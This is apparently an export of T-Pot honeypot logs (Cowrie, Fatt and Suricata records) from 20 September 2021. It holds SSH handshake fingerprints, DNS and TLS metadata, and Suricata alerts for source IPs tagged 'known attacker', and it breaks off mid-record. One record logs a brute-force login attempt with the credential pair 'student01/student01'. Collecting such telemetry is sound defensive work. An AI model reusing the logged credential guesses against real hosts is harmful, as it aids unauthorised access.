31633	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:47:01.499013+03	2021-09-20 15:00:02.422717+03	{"_id": "agYHA3wBvYTbRNuE5kWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c74d4c79ab22", "@version": "1", "timestamp": "2021-09-20T11:47:01.499013Z", "@timestamp": "2021-09-20T11:47:01.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31634	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:47:01.498756+03	2021-09-20 15:00:02.424716+03	{"_id": "bQYHA3wBvYTbRNuE6UUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58218, "dest_port": 22, "timestamp": "2021-09-20T11:47:01.498756", "@timestamp": "2021-09-20T11:47:01.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31635	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:47:00.899077+03	2021-09-20 15:00:02.425717+03	{"_id": "ZwYHA3wBvYTbRNuE5kWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "62cece847fe3", "@version": "1", "timestamp": "2021-09-20T11:47:00.899077Z", "@timestamp": "2021-09-20T11:47:00.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31636	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:47:01.750859+03	2021-09-20 15:00:02.427717+03	{"_id": "aAYHA3wBvYTbRNuE5kWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [student01/student01] failed", "session": "c74d4c79ab22", "@version": "1", "password": "student01", "username": "student01", "timestamp": "2021-09-20T11:47:01.750859Z", "@timestamp": "2021-09-20T11:47:01.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31637	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:47:01.498714+03	2021-09-20 15:00:02.428717+03	{"_id": "awYHA3wBvYTbRNuE6EUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 288039644786366, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58218, "dest_port": 22, "timestamp": "2021-09-20T11:47:01.498714Z", "@timestamp": "2021-09-20T11:47:01.498Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31638	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:01.464438+03	2021-09-20 15:00:02.429717+03	{"_id": "bAYHA3wBvYTbRNuE6UUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58218, "timestamp": "2021-09-20T11:47:01.464438", "@timestamp": "2021-09-20T11:47:01.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31639	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:47:03.73818+03	2021-09-20 15:00:02.431719+03	{"_id": "hQYHA3wBvYTbRNuE70Xy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:47:03.174834+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 230044701534962, "payload": "AAADzAYUC2+Rx9j8rwhnQgV1bYEnewAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35376, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:47:03.738180Z", "@timestamp": "2021-09-20T11:47:03.738Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......o......gB.um.'{...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31640	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:03.459634+03	2021-09-20 15:00:02.432719+03	{"_id": "iAYHA3wBvYTbRNuE8EXy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35376, "timestamp": "2021-09-20T11:47:03.459634", "@timestamp": "2021-09-20T11:47:03.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31641	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:46:54.334037+03	2021-09-20 15:00:02.434717+03	{"_id": "UgYHA3wBvYTbRNuEzEXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6646, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3460, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1877467454116421, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59246, "timestamp": "2021-09-20T11:46:54.334037Z", "@timestamp": "2021-09-20T11:46:54.334Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31642	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:54.383241+03	2021-09-20 15:00:02.436716+03	{"_id": "VAYHA3wBvYTbRNuEzUXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35658, "dest_port": 443, "timestamp": "2021-09-20T11:46:54.383241", "@timestamp": "2021-09-20T11:46:54.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31643	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:46:54.332357+03	2021-09-20 15:00:02.437716+03	{"_id": "UQYHA3wBvYTbRNuEzEXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6646, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1877467454116421, "@version": "1", "in_iface": "enp5s0", "src_port": 59246, "dest_port": 53, "timestamp": "2021-09-20T11:46:54.332357Z", "@timestamp": "2021-09-20T11:46:54.332Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31644	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:46:54.42342+03	2021-09-20 15:00:02.439716+03	{"_id": "UwYHA3wBvYTbRNuEzUXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35658, "timestamp": "2021-09-20T11:46:54.423420", "@timestamp": "2021-09-20T11:46:54.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31645	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:46:42.308533+03	2021-09-20 15:00:02.440716+03	{"_id": "RgYHA3wBvYTbRNuEnEVA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f13ed1d3c172", "@version": "1", "duration": 3.1719424724578857, "timestamp": "2021-09-20T11:46:42.308533Z", "@timestamp": "2021-09-20T11:46:42.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31646	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:11.982389+03	2021-09-20 15:00:02.441716+03	{"_id": "ngYIA3wBvYTbRNuEEUV_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": 